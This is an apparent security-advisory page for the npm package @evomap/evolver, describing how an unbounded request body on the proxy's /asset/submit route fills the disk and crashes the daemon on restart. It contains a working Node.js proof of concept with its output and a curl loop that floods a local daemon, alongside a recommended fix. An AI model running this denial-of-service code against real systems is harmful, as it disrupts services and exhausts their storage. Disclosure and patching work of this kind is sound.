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OSV ecosystem advisory

GHSA-7xp7-m392-h92c: @evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS

MediumCVSS 6.2 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 24/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Someone with local access to the system can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: @evomap/evolver (npm) 1.70.0-beta.5.

Low priority for now. Upgrade to @evomap/evolver (npm) 1.70.0-beta.5 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body — verbatim and uncapped — as a JSONL line in `<dataDir>/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent. ## Details **1. Entry — unbounded body parser** (`src/proxy/server/http.js:9-21`): ```js function parseBody(req) { return new Promise((resolve, reject) => { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const raw = Buffer.concat(chunks).toString(); if (!raw) return resolve({}); try { resolve(JSON.parse(raw)); } catch (e) { reject(new Error('Invalid JSON body')); } }); req.on('error', reject); }); } ``` There is no Content-Length validation and no cumulative-bytes cap on `chunks`. **2. Route — no schema or size validation** (`src/proxy/server/routes.js:75-85`): ```js 'POST /asset/submit': async ({ body }) => { if (!body.assets && !body.asset_id) { throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 }); } const result = store.send({ type: 'asset_submit', payload: body, priority: body.priority || 'normal', }); return { body: result }; } ``` The full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape. **3. Sink — unbounded JSONL append** (`src/proxy/mailbox/store.js`): ```js // line 71-73 function appendLine(filePath, obj) { fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8'); } // line 189-209: send() builds a message wrapping the payload and calls _appendMessage // line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg) ``` Every `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows. **4. Persistence on restart** (`src/proxy/mailbox/store.js`): ```js // line 75-86 function readLines(filePath) { if (!fs.existsSync(filePath)) return []; const content = fs.readFileSync(filePath, 'utf8'); // synchronous, full-file ... } // line 143-164: _rebuildIndex() called from constructor reads every line ``` A multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts. **5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, '127.0.0.1', ...)`): > "HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes." Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts. **6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent. ## PoC Run from the repo root: ```js // poc-asset-submit.js const http=require('http'),fs=require('fs'),os=require('os'),path=require('path'); const {MailboxStore}=require('./src/proxy/mailbox/store'); const {ProxyHttpServer}=require('./src/proxy/server/http'); const {buildRoutes}=require('./src/proxy/server/routes'); (async()=>{ const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-')); const store=new MailboxStore(dir); const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})}; const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}}); await srv.start(); const send=(mb)=>new Promise((res,rej)=>{ const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}'; const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);}); req.on('error',rej); req.write(body); req.end(); }); for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');} await srv.stop(); fs.rmSync(dir,{recursive:true}); })(); ``` Verified output: ``` messages.jsonl= 10486078 bytes messages.jsonl= 20972156 bytes messages.jsonl= 31458234 bytes ``` Live exploitation against a running daemon (default port 19820): ``` printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json for i in $(seq 1 1000); do curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit done ``` `<dataDir>/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file. ## Impact - **Disk exhaustion** of `<dataDir>` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too. - **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover. - **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk. - **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace. ## Recommended Fix 1. Cap body size in `parseBody()` (`src/proxy/server/http.js`): ```js const MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB function parseBody(req) { return new Promise((resolve, reject) => { const declared = Number(req.headers['content-length']); if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) { const err = new Error('Request body too large'); err.statusCode = 413; return reject(err); } const chunks = []; let received = 0; req.on('data', c => { received += c.length; if (received > MAX_BODY_BYTES) { const err = new Error('Request body too large'); err.statusCode = 413; req.destroy(); return reject(err); } chunks.push(c); }); req.on('end', () => { const raw = Buffer.concat(chunks).toString(); if (!raw) return resolve({}); try { resolve(JSON.parse(raw)); } catch (e) { reject(new Error('Invalid JSON body')); } }); req.on('error', reject); }); } ``` 2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller. 3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`. 4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.

Published
May 5, 2026
Updated
May 5, 2026
EPSS
—

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JSON

Action score

24

Monitor

Low priority for now.

CVSS
24 / 40 · 6.2 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npm@evomap/evolver

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@evomap/evolverbefore 1.70.0-beta.51.70.0-beta.5

Same product

npm: all records

Other highest-scoring records for the same primary product.

  • GHSA-cfcj-hqpf-hccf@evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)
    35Monitor
  • GHSA-jxh8-jh77-xh6g@evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts
    32Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@evomap/evolver1.70.0-beta.5Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Someone with local access to the system can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
none
Availability
high · the service can be disrupted
Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
None
Availability impact
High

CVSS vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv

Root cause

Code that parses nested structures sets no depth or size limit. A small input can turn into a disproportionate processing load.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
function expand(node) {  return node.children.map(expand);}

Fixed

ts
const MAX_DEPTH = 32;function expand(node, depth = 0) {  if (depth > MAX_DEPTH) throw new Error("too deep");  return node.children.map((c) => expand(c, depth + 1));}

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

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